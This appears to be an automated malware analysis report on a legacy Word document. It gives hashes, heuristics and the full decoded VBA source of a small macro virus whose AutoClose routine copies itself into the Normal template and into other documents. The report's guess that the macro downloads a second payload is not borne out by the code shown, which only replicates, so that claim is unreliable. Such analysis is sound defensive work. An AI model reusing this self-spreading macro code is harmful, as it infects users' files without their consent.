Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 61469ae8ca19dcd7…

MALICIOUS

Office (OLE)

34.5 KB Created: 1998-07-18 15:24:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d668a81274ec402f96f33ff29af89957 SHA-1: f9c6897b5a74ce3ba4ecabb00e140fb903608b5a SHA-256: 61469ae8ca19dcd79af985cf5107f0f03ddc2be5167c4efea4190e1bbd10a184
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoClose subroutine, which is automatically executed when the document is closed. The macro displays an input box asking the user '你知道我是誰嗎!!' (Do you know who I am!!), and proceeds based on the input. This suggests an attempt to lure the user into executing malicious functionality, likely to download or execute a secondary payload. The presence of the AutoClose macro and the legacy WordBasic marker indicates a macro-based attack.

Heuristics 3

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1442 bytes
SHA-256: 23a6ca8c5b9791c0220988d34e980e2b9c4ccec8510ba9bf1439a34d4cecbb9d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Dim ansy$
Dim nor
Dim ff
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kk
Dim tt

    
err:
    ansy$ = InputBox$("你知道我是誰嗎!!", "DEMO巨集病毒1.3版 ")
    If ansy$ = "wergelis" Then GoTo p1 Else GoTo p2
    'End If
 
p1:
    WordBasic.MsgBox "Ok!!", "DEMO巨集病毒1.3版", 64
    GoTo e1
p2:
    WordBasic.MsgBox "Error!!", "DEMO巨集病毒1.3版", 16
    nor = WordBasic.CountMacros(0)
    If nor > 0 Then
       For ff = 1 To nor
         If WordBasic.[MacroName$](ff, 0) = "AutoClose" Then
            t = 1
           End If
        Next ff
    End If
  
    file$ = WordBasic.[filename$]()
    filem$ = file$ + ":AutoClose"
    If t <> 1 Then
        WordBasic.[MacroCopy] filem$, "AutoClose"
        'WordBasic.[MacroCopy] filem$, "AutoNew"
    End If
    nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
   For kk = 1 To nor1
     If WordBasic.[MacroName$](kk, 1) = "AutoClose" Then
        tt = 1
     End If
   Next kk
End If
If tt <> 1 Then
   WordBasic.FileSaveAs Format:=1
   WordBasic.[MacroCopy] "AutoClose", filem$
End If
 
e1:

End Sub